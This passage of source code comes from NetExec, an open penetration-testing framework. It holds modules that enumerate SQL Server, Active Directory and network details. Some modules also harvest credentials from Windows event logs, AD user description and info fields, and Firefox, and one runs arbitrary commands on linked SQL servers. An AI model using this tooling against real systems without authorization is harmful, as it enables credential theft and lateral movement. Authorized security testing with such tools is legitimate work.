context.log.display(f"Saved raw output to {NXC_PATH}/logs/{log_name}") NetExec-1.5.1/nxc/modules/enum_impersonate.py000066400000000000000000000027271514706431700212550ustar00rootroot00000000000000from nxc.helpers.misc import CATEGORY class NXCModule: """ Enumerate SQL Server users with impersonation rights Module by deathflamingo """ name = "enum_impersonate" description = "Enumerate users with impersonation privileges" supported_protocols = ["mssql"] category = CATEGORY.ENUMERATION def __init__(self): self.mssql_conn = None self.context = None def on_login(self, context, connection): self.context = context self.mssql_conn = connection.conn impersonate_users = self.get_impersonate_users() if impersonate_users: self.context.log.success("Users with impersonation rights:") for user in impersonate_users: self.context.log.display(f" - {user}") else: self.context.log.fail("No users with impersonation rights found.") def get_impersonate_users(self) -> list: """ Fetches a list of users with impersonation rights. Returns ------- list: List of user names. """ query = """ SELECT DISTINCT b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name LIKE 'IMPERSONATE%' """ res = self.mssql_conn.sql_query(query) return [user["name"] for user in res] if res else [] def options(self, context, module_options): pass NetExec-1.5.1/nxc/modules/enum_interfaces.py000066400000000000000000000121251514706431700210430ustar00rootroot00000000000000#!/usr/bin/env python3 import contextlib from impacket.examples.secretsdump import RemoteOperations from impacket.dcerpc.v5 import rrp from impacket.dcerpc.v5.rpcrt import DCERPCException from nxc.helpers.misc import CATEGORY class NXCModule: """ Retrieve the list of network interfaces info (Name, IP Address, Subnet Mask, Default Gateway) from remote Windows registry' Formerly --interfaces parameter Made by: @Sant0rryu, @NeffIsBack """ name = "enum_interfaces" description = "Retrieve the list of network interfaces info (Name, IP Address, Subnet Mask, Default Gateway) from remote Windows registry (formerly --interfaces)" supported_protocols = ["smb"] opsec_safe = False category = CATEGORY.ENUMERATION def __init__(self): self.context = None self.module_options = {} def options(self, context, module_options): """No options available""" def on_admin_login(self, context, connection): """Execute network interface enumeration on authenticated SMB connection""" self.context = context try: remoteOps = RemoteOperations(connection.conn, False) remoteOps.enableRegistry() if remoteOps._RemoteOperations__rrp: reg_handle = rrp.hOpenLocalMachine(remoteOps._RemoteOperations__rrp)["phKey"] key_handle = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, reg_handle, "SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters\\Interfaces")["phkResult"] sub_key_list = rrp.hBaseRegQueryInfoKey(remoteOps._RemoteOperations__rrp, key_handle)["lpcSubKeys"] sub_keys = [rrp.hBaseRegEnumKey(remoteOps._RemoteOperations__rrp, key_handle, i)["lpNameOut"][:-1] for i in range(sub_key_list)] context.log.highlight(f"{'-Name-':<11} | {'-IP Address-':<15} | {'-SubnetMask-':<15} | {'-Gateway-':<15} | -DHCP-") for sub_key in sub_keys: interface = {} try: interface_key = f"SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters\\Interfaces\\{sub_key}" interface_handle = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, reg_handle, interface_key)["phkResult"] # Retrieve Interace Name interface_name_key = f"SYSTEM\\ControlSet001\\Control\\Network\\{{4D36E972-E325-11CE-BFC1-08002BE10318}}\\{sub_key}\\Connection" interface_name_handle = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, reg_handle, interface_name_key)["phkResult"] interface_name = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, interface_name_handle, "Name")[1].rstrip("\x00") interface["Name"] = str(interface_name) if "Kernel" in interface_name: continue # Retrieve DHCP try: dhcp_enabled = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, interface_handle, "EnableDHCP")[1] except DCERPCException: dhcp_enabled = False interface["DHCP"] = bool(dhcp_enabled) # Retrieve IPAddress try: ip_address = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, interface_handle, "DhcpIPAddress" if dhcp_enabled else "IPAddress")[1].rstrip("\x00").replace("\x00", ", ") except DCERPCException: ip_address = None interface["IPAddress"] = ip_address if ip_address else None # Retrieve SubnetMask try: subnetmask = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, interface_handle, "SubnetMask")[1].rstrip("\x00").replace("\x00", ", ") except DCERPCException: subnetmask = None interface["SubnetMask"] = subnetmask if subnetmask else None # Retrieve DefaultGateway try: default_gateway = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, interface_handle, "DhcpDefaultGateway")[1].rstrip("\x00").replace("\x00", ", ") except DCERPCException: default_gateway = None interface["DefaultGateway"] = default_gateway if default_gateway else None context.log.highlight(f"{interface['Name']:<11} | {interface['IPAddress']!s:<15} | {interface['SubnetMask']!s:<15} | {interface['DefaultGateway']!s:<15} | {interface['DHCP']}") except DCERPCException as e: context.log.info(f"Failed to retrieve the network interface info for {sub_key}: {e!s}") with contextlib.suppress(Exception): remoteOps.finish() except DCERPCException as e: context.log.error(f"Failed to connect to the target: {e!s}") NetExec-1.5.1/nxc/modules/enum_links.py000066400000000000000000000035441514706431700200450ustar00rootroot00000000000000from nxc.helpers.misc import CATEGORY class NXCModule: """ Enumerate SQL Server linked servers Module by deathflamingo, NeffIsBack """ name = "enum_links" description = "Enumerate linked SQL Servers and their login configurations." supported_protocols = ["mssql"] category = CATEGORY.ENUMERATION def __init__(self): self.mssql_conn = None self.context = None def options(self, context, module_options): pass def on_login(self, context, connection): self.context = context self.mssql_conn = connection.conn linked_servers = self.get_linked_servers() if linked_servers: self.context.log.success("Linked servers found:") for server in linked_servers: self.context.log.display(f" - {server}") else: self.context.log.fail("No linked servers found.") if connection.admin_privs: res = self.mssql_conn.sql_query("EXEC sp_helplinkedsrvlogin") srvs = [srv for srv in res if srv["Local Login"] != "NULL"] if not srvs: self.context.log.fail("No linked servers found.") return self.context.log.success("Linked servers found:") for srv in srvs: self.context.log.display(f"Linked server: {srv['Linked Server']}") self.context.log.display(f" - Local login: {srv['Local Login']}") self.context.log.display(f" - Remote login: {srv['Remote Login']}") def get_linked_servers(self) -> list: """ Fetches a list of linked servers. Returns ------- list: List of linked server names. """ query = "EXEC sp_linkedservers;" res = self.mssql_conn.sql_query(query) return [server["SRV_NAME"] for server in res] if res else [] NetExec-1.5.1/nxc/modules/enum_logins.py000066400000000000000000000060111514706431700202100ustar00rootroot00000000000000from nxc.helpers.misc import CATEGORY class NXCModule: """ Enumerate SQL Server logins (SQL, Domain, Local users) Module by deathflamingo, modified by mpgn """ name = "enum_logins" description = "Enumerate SQL Server logins (SQL, Domain, Local users)" supported_protocols = ["mssql"] category = CATEGORY.ENUMERATION def __init__(self): self.mssql_conn = None self.context = None def on_login(self, context, connection): self.context = context self.mssql_conn = connection.conn logins = self.get_logins() if logins: self.context.log.display("Enumerated logins") self.context.log.highlight(f"{'Login Name':<35} {'Type':<15} {'Status'}") self.context.log.highlight(f"{'----------':<35} {'----':<15} {'------'}") for login_name, login_type, status in logins: self.context.log.highlight(f"{login_name:<35} {login_type:<15} {status}") else: self.context.log.fail("No logins found.") def get_domain_name(self) -> str: query = "SELECT DEFAULT_DOMAIN() as domain_name;" try: res = self.mssql_conn.sql_query(query) if res and res[0].get("domain_name"): return res[0]["domain_name"].upper() return "" except Exception as e: self.context.log.debug(f"Error querying domain name: {e}") return "" def get_logins(self) -> list: domain_name = self.get_domain_name() domain_prefix = f"{domain_name}\\" if domain_name else "" query = f""" SELECT name, type, type_desc, CASE type_desc WHEN 'SQL_LOGIN' THEN 'SQL User' WHEN 'WINDOWS_LOGIN' THEN CASE WHEN name LIKE '{domain_prefix}%' THEN 'Domain User' WHEN name LIKE '%\\%' THEN 'Local User' ELSE 'Local User' END WHEN 'WINDOWS_GROUP' THEN 'Windows Group' WHEN 'CERTIFICATE_MAPPED_LOGIN' THEN 'Certificate Login' WHEN 'ASYMMETRIC_KEY_MAPPED_LOGIN' THEN 'Asymmetric Key Login' ELSE type_desc END as login_type, is_disabled, create_date FROM sys.server_principals WHERE type IN ('S', 'U', 'G', 'C', 'K') AND name NOT LIKE '##%' ORDER BY login_type, name; """ try: res = self.mssql_conn.sql_query(query) if res: logins = [] for login in res: status = "DISABLED" if login.get("is_disabled") else "ENABLED" logins.append((login["name"], login["login_type"], status)) return logins return [] except Exception as e: self.context.log.fail(f"Error querying logins: {e}") return [] def options(self, context, module_options): pass NetExec-1.5.1/nxc/modules/enum_trusts.py000066400000000000000000000011231514706431700202600ustar00rootroot00000000000000 from nxc.helpers.misc import CATEGORY class NXCModule: """ Extract all Trust Relationships, Trusting Direction, and Trust Transitivity Module by Brandon Fisher @shad0wcntr0ller """ name = "enum_trusts" description = "[REMOVED] Extract all Trust Relationships, Trusting Direction, and Trust Transitivity" supported_protocols = ["ldap"] category = CATEGORY.ENUMERATION def options(self, context, module_options): pass def on_login(self, context, connection): context.log.fail("[REMOVED] This module moved to the --dc-list LDAP flag.") NetExec-1.5.1/nxc/modules/eventlog_creds.py000066400000000000000000000245021514706431700207010ustar00rootroot00000000000000import re from impacket.dcerpc.v5 import transport, even6 from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE, RPC_C_AUTHN_LEVEL_PKT_PRIVACY from impacket.dcerpc.v5.epm import hept_map from nxc.helpers.even6_parser import ResultSet from nxc.helpers.misc import CATEGORY class NXCModule: """ Module by @lodos2005 This module extracts credentials from Windows logs. It uses Security Event ID: 4688 and SYSMON logs. """ name = "eventlog_creds" description = "Extracting Credentials From Windows Logs (Event ID: 4688 and SYSMON)" supported_protocols = ["smb"] category = CATEGORY.CREDENTIAL_DUMPING def __init__(self): self.context = None self.module_options = None self.method = "execute" self.limit = None def options(self, context, module_options): """ METHOD EventLog method (Execute or RPCCALL), default: execute M Alias for METHOD LIMIT Limit of the number of records to be fetched, default: unlimited L Alias for LIMIT """ if "METHOD" in module_options: self.method = module_options["METHOD"] if "M" in module_options: self.method = module_options["M"] if "LIMIT" in module_options: self.limit = int(module_options["LIMIT"]) if "L" in module_options: self.limit = int(module_options["L"]) def find_credentials(self, content, context): # remove unnecessary words content = content.replace("\r\n", "\n") # sort and unique lines content = "\n".join(sorted(set(content.split("\n")))) regexps = [ # "C:\Windows\system32\net.exe" user /add lodos2005 123456 /domain r"net.+user\s+(?P[^\s]+)\s+(?P[^\s]+)", # "C:\Windows\system32\net.exe" use \\server\share /user:contoso\lodos2005 password r"net.+use.+/user:(?P[^\s]+)\s+(?P[^\s]+)", # schtasks.exe /CREATE /S 192.168.20.05 /RU SYSTEM /U lodos2005@contoso /P "123456" /SC ONCE /ST 20:05 /TN Test /TR hostname /F r"schtasks.+/U\s+(?P[^\s]+).+/P\s+(?P[^\s]+)", # wmic.exe /node:192.168.20.05 /user:lodos2005@contoso /password:123456 computersystem get r"wmic.+/user:\s*(?P[^\s]+).+/password:\s*(?P[^\s]+)", # psexec \\192.168.20.05 -u lodos2005@contoso -p 123456 hostname r"psexec.+-u\s+(?P[^\s]+).+-p\s+(?P[^\s]+)", # generic username on command line r"(?:(?:(?:-u)|(?:-user)|(?:-username)|(?:--user)|(?:--username)|(?:/u)|(?:/USER)|(?:/USERNAME))(?:\s+|\:)(?P[^\s]+))", # generic password on command line r"(?:(?:(?:-p)|(?:-password)|(?:-passwd)|(?:--password)|(?:--passwd)|(?:/P)|(?:/PASSWD)|(?:/PASS)|(?:/CODE)|(?:/PASSWORD))(?:\s+|\:)(?P[^\s]+))", ] # Extracting credentials for line in content.split("\n"): for reg in regexps: # Remove unnecessary words line_stripped = line.replace("/add", "") \ .replace("/active:yes", "") \ .replace("/delete", "") \ .replace("/domain", "") \ # Remove command lines that were executed with nxc line_stripped = re.sub(r"1> \\Windows\\Temp\\[\w]{6} 2>&1", "", line_stripped) # Use regex to find credentials match = re.search(reg, line_stripped, re.IGNORECASE) if match: # eleminate false positives # C:\Windows\system32\svchost.exe -k DcomLaunch -p -s PlugPlay if not match.groupdict().get("username") and match.groupdict().get("password") and len(match.group("password")) < 6: # if password is found but username is not found, and password is shorter than 6 characters, ignore it continue if not match.groupdict().get("password") and match.groupdict().get("username"): # if username is found but password is not found. we need? ignore it continue # C:\Windows\system32\RunDll32.exe C:\Windows\system32\migration\WininetPlugin.dll,MigrateCacheForUser /m /0 if match.groupdict().get("username") and match.groupdict().get("password") and len(match.group("password")) < 6 and len(match.group("username")) < 6: # if username and password is shorter than 6 characters, ignore it continue context.log.highlight("Credentials found! " + line.strip()) if match.groupdict().get("username"): context.log.highlight("Username: " + match.group("username")) if match.groupdict().get("password"): context.log.highlight("Password: " + match.group("password")) break def on_admin_login(self, context, connection): content = "" if self.method.lower().startswith("e"): limit_str = f"/c:{self.limit}" if self.limit is not None else "" # https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4688 commands = [ f'wevtutil qe Microsoft-Windows-Sysmon/Operational {limit_str} /f:text /rd:true /q:"*[System[(EventID=1)]]" | findstr "ParentCommandLine"', f'wevtutil qe Security {limit_str} /f:text /rd:true /q:"*[System[(EventID=4688)]]" | findstr "Command Line"', ] for command in commands: context.log.debug("Execute Command: " + command) content += connection.execute(command, True) else: msevenclass = MSEven6Trigger(context) target = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain msevenclass.connect( username=connection.username, password=connection.password, domain=connection.domain, lmhash=connection.lmhash, nthash=connection.nthash, target=target, doKerberos=connection.kerberos, dcHost=connection.kdcHost, aesKey=connection.aesKey, pipe="eventlog" ) for record in msevenclass.query("\x00", '\x00', self.limit): if record is None: continue try: xmlString = ResultSet(record).xml() regexp = r'CommandLine">(?P(.|\n)*?)<\/Data>' match = re.search(regexp, xmlString, re.IGNORECASE) if match and match.groupdict().get("CommandLine"): content += "CommandLine: " + match.group("CommandLine") + "\n" except Exception as e: context.log.error(f"Error: {e}") self.find_credentials(content, context) class MSEven6Trigger: def __init__(self, context): self.context = context self.dce = None def connect(self, username, password, domain, lmhash, nthash, aesKey, target, doKerberos, dcHost, pipe): rpctransport = transport.DCERPCTransportFactory(hept_map(target, even6.MSRPC_UUID_EVEN6, protocol="ncacn_ip_tcp")) if hasattr(rpctransport, "set_credentials"): rpctransport.set_credentials( username=username, password=password, domain=domain, lmhash=lmhash, nthash=nthash, aesKey=aesKey, ) if doKerberos: rpctransport.set_kerberos(doKerberos, kdcHost=dcHost) rpctransport.setRemoteHost(target) self.dce = rpctransport.get_dce_rpc() if doKerberos: self.dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE) self.dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY) self.context.log.debug(f"Connecting to {target}...") try: self.dce.connect() except Exception as e: self.context.log.debug(f"Something went wrong, check error status => {e!s}") return try: self.dce.bind(even6.MSRPC_UUID_EVEN6) self.context.log.debug("[+] Successfully bound!") except Exception as e: self.context.log.debug(f"Something went wrong, check error status => {e!s}") return self.context.log.debug("[+] Successfully bound!") def query(self, path, query, limit): req = even6.EvtRpcRegisterLogQuery() req["Path"] = path + "\x00" req["Query"] = query + "\x00" req["Flags"] = even6.EvtQueryChannelName | even6.EvtReadNewestToOldest resp = self.dce.request(req) handle = resp["Handle"] return MSEven6Result(self, handle, limit) class MSEven6Result: def __init__(self, conn, handle, limit=None): self._conn = conn self._handle = handle self._hardlimit = limit def __iter__(self): self._resp = None return self def __next__(self): if self._hardlimit is not None: self._hardlimit -= 1 if self._hardlimit < 0: raise StopIteration if self._resp is not None and self._resp["NumActualRecords"] == 0: raise StopIteration if self._resp is None or self._index == self._resp["NumActualRecords"]: req = even6.EvtRpcQueryNext() req["LogQuery"] = self._handle req["NumRequestedRecords"] = 100 req["TimeOutEnd"] = 1000 req["Flags"] = 0 self._resp = self._conn.dce.request(req) if self._resp["NumActualRecords"] == 0: return None else: self._index = 0 offset = self._resp["EventDataIndices"][self._index]["Data"] size = self._resp["EventDataSizes"][self._index]["Data"] self._index += 1 return b"".join(self._resp["ResultBuffer"][offset:offset + size]) NetExec-1.5.1/nxc/modules/example_module.py000066400000000000000000000053021514706431700206730ustar00rootroot00000000000000from nxc.helpers.misc import CATEGORY class NXCModule: """ Example: ------- Module by @yomama """ name = "example module" description = "I do something" supported_protocols = [] # Example: ['smb', 'mssql'] category = CATEGORY.ENUMERATION # Must be one of "Enumeration", "Privilege Escalation" or "Credential Dumping". Use what fits best. def __init__(self): self.context = None self.module_options = None def options(self, context, module_options): """Required. Module options get parsed here. Additionally, put the modules usage here as well """ # Put "No options available" in the docstring if there are no options for the module def on_login(self, context, connection): """Concurrent. Required if on_admin_login is not present. This gets called on each authenticated connection """ # Logging best practice # Mostly you should use these functions to display information to the user context.log.display("I'm doing something") # Use this for every normal message ([*] I'm doing something) context.log.success("I'm doing something") # Use this for when something succeeds ([+] I'm doing something) context.log.fail("I'm doing something") # Use this for when something fails ([-] I'm doing something), for example a remote registry entry is missing which is needed to proceed context.log.highlight("I'm doing something") # Use this for when something is important and should be highlighted, printing credentials for example # These are for debugging purposes context.log.info("I'm doing something") # This will only be displayed if the user has specified the --verbose flag, so add additional info that might be useful context.log.debug("I'm doing something") # This will only be displayed if the user has specified the --debug flag, so add info that you would might need for debugging errors # These are for more critical error handling context.log.error("I'm doing something") # This will not be printed in the module context and should only be used for critical errors (e.g. a required python file is missing) try: raise Exception("Exception that might have occurred") except Exception as e: context.log.exception(f"Exception occurred: {e}") # This will display an exception traceback screen after an exception was raised and should only be used for critical errors def on_admin_login(self, context, connection): """Concurrent. Required if on_login is not present This gets called on each authenticated connection with Administrative privileges """ NetExec-1.5.1/nxc/modules/exec_on_link.py000066400000000000000000000027061514706431700203350ustar00rootroot00000000000000from nxc.helpers.misc import CATEGORY class NXCModule: """ Execute commands on linked servers Module by deathflamingo """ name = "exec_on_link" description = "Execute commands on a SQL Server linked server" supported_protocols = ["mssql"] category = CATEGORY.PRIVILEGE_ESCALATION def __init__(self): self.mssql_conn = None self.context = None self.linked_server = None self.command = None def options(self, context, module_options): """ LINKED_SERVER: The name of the linked server to execute the command on. COMMAND: The command to execute on the linked server. """ if "LINKED_SERVER" in module_options: self.linked_server = module_options["LINKED_SERVER"] if "COMMAND" in module_options: self.command = module_options["COMMAND"] def on_login(self, context, connection): self.context = context self.mssql_conn = connection.conn if not self.linked_server or not self.command: self.context.log.fail("Please specify both LINKED_SERVER and COMMAND options.") return self.execute_on_link() def execute_on_link(self): """Executes the specified command on the linked server.""" query = f"EXEC ('{self.command}') AT [{self.linked_server}];" result = self.mssql_conn.sql_query(query) self.context.log.display(f"Command output: {result}") NetExec-1.5.1/nxc/modules/find-computer.py000066400000000000000000000064101514706431700204500ustar00rootroot00000000000000from nxc.helpers.misc import CATEGORY from nxc.logger import nxc_logger from impacket.ldap.ldap import LDAPSearchError from impacket.ldap.ldapasn1 import SearchResultEntry import sys class NXCModule: """ Module by CyberCelt: @Cyb3rC3lt Initial module: https://github.com/Cyb3rC3lt/CrackMapExec-Modules """ name = "find-computer" description = "Finds computers in the domain via the provided text" supported_protocols = ["ldap"] category = CATEGORY.ENUMERATION def options(self, context, module_options): """ TEXT Search TEXT in the operating system or name of the computer. Examples: nxc ldap $DC-IP -u Username -p Password -M find-computer -o TEXT="server" nxc ldap $DC-IP -u Username -p Password -M find-computer -o TEXT="SQL" """ self.TEXT = "" if "TEXT" in module_options: self.TEXT = module_options["TEXT"] else: context.log.error("TEXT option is required!") sys.exit(1) def on_login(self, context, connection): search_filter = f"(&(objectCategory=computer)(|(operatingSystem=*{self.TEXT}*)(name=*{self.TEXT}*)))" try: context.log.debug(f"Search Filter={search_filter}") resp = connection.ldap_connection.search(searchFilter=search_filter, attributes=["dNSHostName", "operatingSystem"], sizeLimit=0) except LDAPSearchError as e: if e.getErrorString().find("sizeLimitExceeded") >= 0: context.log.debug("sizeLimitExceeded exception caught, giving up and processing the data received") resp = e.getAnswers() else: nxc_logger.debug(e) return False answers = [] context.log.debug(f"Total no. of records returned: {len(resp)}") for item in resp: if isinstance(item, SearchResultEntry) is not True: continue dns_host_name = "" operating_system = "" try: for attribute in item["attributes"]: if str(attribute["type"]) == "dNSHostName": dns_host_name = str(attribute["vals"][0]) elif str(attribute["type"]) == "operatingSystem": operating_system = attribute["vals"][0] if dns_host_name != "" and operating_system != "": answers.append([dns_host_name, operating_system]) except Exception as e: context.log.debug("Exception:", exc_info=True) context.log.debug(f"Skipping item, cannot process due to error {e}") if len(answers) > 0: context.log.success("Found the following computers: ") for answer in answers: resolv = connection.resolver(answer[0]) if resolv: context.log.highlight(f"{answer[0]} ({answer[1]}) ({resolv['host']})") context.log.debug("IP found via DNS query") else: context.log.debug(f"No DNS response for {answer[0]}") context.log.highlight(f"{answer[0]} ({answer[1]}) (No IP Found)") else: context.log.success(f"Unable to find any computers with the text {self.TEXT}") NetExec-1.5.1/nxc/modules/firefox.py000066400000000000000000000053331514706431700173410ustar00rootroot00000000000000from dploot.lib.target import Target from nxc.helpers.misc import CATEGORY from nxc.protocols.smb.firefox import FirefoxCookie, FirefoxData, FirefoxTriage class NXCModule: """ Firefox by @zblurx Inspired by firefox looting from DonPAPI https://github.com/login-securite/DonPAPI """ name = "firefox" description = "[REMOVED] Dump credentials from Firefox" supported_protocols = ["smb"] category = CATEGORY.CREDENTIAL_DUMPING def options(self, context, module_options): """ [REMOVED] use the --dpapi flag instead of the module firefox. COOKIES Get also Firefox cookies """ self.gather_cookies = "COOKIES" in module_options def on_admin_login(self, context, connection): context.log.fail("[REMOVED] Use the --dpapi flag instead of the module firefox.") return host = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain domain = connection.domain username = connection.username kerberos = connection.kerberos aesKey = connection.aesKey use_kcache = getattr(connection, "use_kcache", False) password = getattr(connection, "password", "") lmhash = getattr(connection, "lmhash", "") nthash = getattr(connection, "nthash", "") target = Target.create( domain=domain, username=username, password=password, target=host, lmhash=lmhash, nthash=nthash, do_kerberos=kerberos, aesKey=aesKey, use_kcache=use_kcache, ) def firefox_callback(secret): if isinstance(secret, FirefoxData): url = secret.url + " -" if secret.url != "" else "-" context.log.highlight(f"[{secret.winuser}] {url} {secret.username}:{secret.password}") context.db.add_dpapi_secrets( target.address, "FIREFOX", secret.winuser, secret.username, secret.password, secret.url, ) elif isinstance(secret, FirefoxCookie): context.log.highlight(f"[{secret.winuser}] {secret.host}{secret.path} {secret.cookie_name}:{secret.cookie_value}") try: # Collect Firefox stored secrets firefox_triage = FirefoxTriage(target=target, logger=context.log, per_secret_callback=firefox_callback) firefox_triage.upgrade_connection(connection=connection.conn) firefox_triage.run(gather_cookies=self.gather_cookies) except Exception as e: context.log.debug(f"Error while looting firefox: {e}") NetExec-1.5.1/nxc/modules/get-desc-users.py000066400000000000000000000106361514706431700205330ustar00rootroot00000000000000from impacket.ldap import ldap as ldap_impacket import re from nxc.helpers.misc import CATEGORY from nxc.logger import nxc_logger from nxc.parsers.ldap_results import parse_result_attributes class NXCModule: """ Get description of users Module by @nodauf """ name = "get-desc-users" description = "Get description of the users. May contain password" supported_protocols = ["ldap"] category = CATEGORY.CREDENTIAL_DUMPING def options(self, context, module_options): """ FILTER Apply the FILTER (grep-like) (default: '') PASSWORDPOLICY Is the windows password policy enabled ? (default: False) MINLENGTH Minimum password length to match, only used if PASSWORDPOLICY is True (default: 6) """ self.FILTER = "" self.MINLENGTH = "6" self.PASSWORDPOLICY = False if "FILTER" in module_options: self.FILTER = module_options["FILTER"] if "MINLENGTH" in module_options: self.MINLENGTH = module_options["MINLENGTH"] if "PASSWORDPOLICY" in module_options: self.PASSWORDPOLICY = True self.regex = re.compile(r"((?=[^ ]*[A-Z])(?=[^ ]*[a-z])(?=[^ ]*\d)|(?=[^ ]*[a-z])(?=[^ ]*\d)(?=[^ ]*[^\w \n])|(?=[^ ]*[A-Z])(?=[^ ]*\d)(?=[^ ]*[^\w \n])|(?=[^ ]*[A-Z])(?=[^ ]*[a-z])(?=[^ ]*[^\w \n]))[^ \n]{" + self.MINLENGTH + ",}$") # Credit : https://stackoverflow.com/questions/31191248/regex-password-must-have-at-least-3-of-the-4-of-the-following def on_login(self, context, connection): """Concurrent. Required if on_admin_login is not present. This gets called on each authenticated connection""" # Building the search filter searchFilter = "(objectclass=user)" try: context.log.debug(f"Search Filter={searchFilter}") resp = connection.ldap_connection.search( searchFilter=searchFilter, attributes=["sAMAccountName", "description"], sizeLimit=0, ) except ldap_impacket.LDAPSearchError as e: if e.getErrorString().find("sizeLimitExceeded") >= 0: context.log.debug("sizeLimitExceeded exception caught, giving up and processing the data received") # We reached the sizeLimit, process the answers we have already and that's it. Until we implement # paged queries resp = e.getAnswers() else: nxc_logger.debug(e) return False context.log.debug(f"Total of records returned {len(resp)}") resp_parsed = parse_result_attributes(resp) answers = [[x["sAMAccountName"], x.get("description")] for x in resp_parsed if x.get("description")] answers = self.filter_answer(context, answers) if len(answers) > 0: context.log.success("Found following users: ") for answer in answers: context.log.highlight(f"User: {answer[0]} description: {answer[1]}") def filter_answer(self, context, answers): # No option to filter if self.FILTER == "" and not self.PASSWORDPOLICY: context.log.debug("No filter option enabled") return answers answersFiltered = [] context.log.debug("Prepare to filter") if len(answers) > 0: for answer in answers: conditionFilter = False description = str(answer[1]) # Filter if self.FILTER != "": conditionFilter = False if self.FILTER in description: conditionFilter = True # Password policy if self.PASSWORDPOLICY: conditionPasswordPolicy = False if self.regex.search(description): conditionPasswordPolicy = True if conditionFilter and not self.PASSWORDPOLICY: context.log.highlight(f"'{self.FILTER}' found in description: '{description}'") elif (self.FILTER == "" and (conditionPasswordPolicy == self.PASSWORDPOLICY)): answersFiltered.append([answer[0], description]) elif (self.FILTER != "" and conditionFilter) and (conditionPasswordPolicy == self.PASSWORDPOLICY): context.log.highlight(f"'{self.FILTER}' found in user: '{answer[0]}' description: '{description}'") return answersFiltered NetExec-1.5.1/nxc/modules/get-info-users.py000066400000000000000000000031131514706431700205400ustar00rootroot00000000000000from nxc.helpers.misc import CATEGORY from nxc.parsers.ldap_results import parse_result_attributes class NXCModule: """ Get the info field of users Module by @sepauli """ name = "get-info-users" description = "Get the info field of all users. May contain password" supported_protocols = ["ldap"] category = CATEGORY.CREDENTIAL_DUMPING def options(self, context, module_options): """FILTER Apply the FILTER (grep-like) (default: '')""" self.FILTER = "" if "FILTER" in module_options: self.FILTER = module_options["FILTER"] def on_login(self, context, connection): # Building the search filter resp = connection.search( searchFilter="(info=*)", attributes=["sAMAccountName", "info"] ) context.log.debug(f"Total of records returned {len(resp)}") resp_parsed = parse_result_attributes(resp) answers = [[x["sAMAccountName"], x["info"]] for x in resp_parsed] answers = self.filter_answer(context, answers) if answers: context.log.success("Found following users: ") for answer in answers: context.log.highlight(f"User: {answer[0]:<20} Info: {answer[1]}") def filter_answer(self, context, answers): # No option to filter if not self.FILTER: context.log.debug("No filter option enabled") return answers # Filter context.log.debug(f"Filter info field with: {self.FILTER}") return [answer for answer in answers if self.FILTER in answer[1]] NetExec-1.5.1/nxc/modules/get-network.py000066400000000000000000000246161514706431700201520ustar00rootroot00000000000000# Credit to https://twitter.com/snovvcrash/status/1550518555438891009 # Credit to https://github.com/dirkjanm/adidnsdump @_dirkjan # module by @mpgn_x64 import re import codecs import socket from datetime import datetime from struct import unpack from impacket.structure import Structure from ldap3 import LEVEL from os.path import expanduser from nxc.helpers.misc import CATEGORY from nxc.paths import NXC_PATH from nxc.parsers.ldap_results import parse_result_attributes def get_dns_zones(connection, root, debug=False): connection.search(root, "(objectClass=dnsZone)", search_scope=LEVEL, attributes=["dc"]) zones = [] for entry in connection.response: if entry["type"] != "searchResEntry": continue zones.append(entry["attributes"]["dc"]) return zones def ldap2domain(baseDN): return re.sub(r",DC=", ".", baseDN[baseDN.lower().find("dc="):], flags=re.IGNORECASE)[3:] def new_record(rtype, serial): nr = DNS_RECORD() nr["Type"] = rtype nr["Serial"] = serial nr["TtlSeconds"] = 180 # From authoritative zone nr["Rank"] = 240 return nr # From: https://docs.microsoft.com/en-us/windows/win32/dns/dns-constants RECORD_TYPE_MAPPING = { 0: "ZERO", 1: "A", 2: "NS", 5: "CNAME", 6: "SOA", 12: "PTR", 15: "MX", 16: "TXT", 28: "AAAA", 33: "SRV", } ZERO = 0 A = 1 NS = 2 CNAME = 5 SOA = 6 PTR = 12 MX = 15 TXT = 16 AAAA = 28 SRV = 33 class NXCModule: name = "get-network" description = "Query all DNS records with the corresponding IP from the domain." supported_protocols = ["ldap"] category = CATEGORY.ENUMERATION def options(self, context, module_options): """ ALL Get DNS and IP (default: false) ONLY_HOSTS Get DNS only (no ip) (default: false) """ self.showall = False self.showhosts = False if module_options and "ALL" in module_options: if module_options["ALL"].lower() == "true" or module_options["ALL"] == "1": self.showall = True else: context.log.display("Could not parse ALL option.") if module_options and "ONLY_HOSTS" in module_options: if module_options["ONLY_HOSTS"].lower() == "true" or module_options["ONLY_HOSTS"] == "1": self.showhosts = True else: context.log.display("Could not parse ONLY_HOSTS option.") def on_login(self, context, connection): zone = ldap2domain(connection.baseDN) dns_root = f"CN=MicrosoftDNS,DC=DomainDnsZones,{connection.baseDN}" search_target = f"DC={zone},{dns_root}" context.log.display("Querying zone for records") list_sites = connection.search( searchFilter="(DC=*)", attributes=["dnsRecord", "dNSTombstoned", "name"], baseDN=search_target, ) list_sites_parsed = parse_result_attributes(list_sites) outdata = [] for site in list_sites_parsed: recordname = site["name"] if "dnsRecord" in site: if isinstance(site["dnsRecord"], list): # noqa: SIM108 records = [bytes(r) for r in site["dnsRecord"]] else: records = [bytes(site["dnsRecord"])] for record in records: dr = DNS_RECORD(record) if dr["Type"] == A: address = DNS_RPC_RECORD_A(dr["Data"]) if str(recordname) != "DomainDnsZones" and str(recordname) != "ForestDnsZones": outdata.append( { "name": recordname, "type": RECORD_TYPE_MAPPING[dr["Type"]], "value": address.formatCanonical(), } ) # Skip without "ALL" and "ONLY_HOSTS" => only IPs 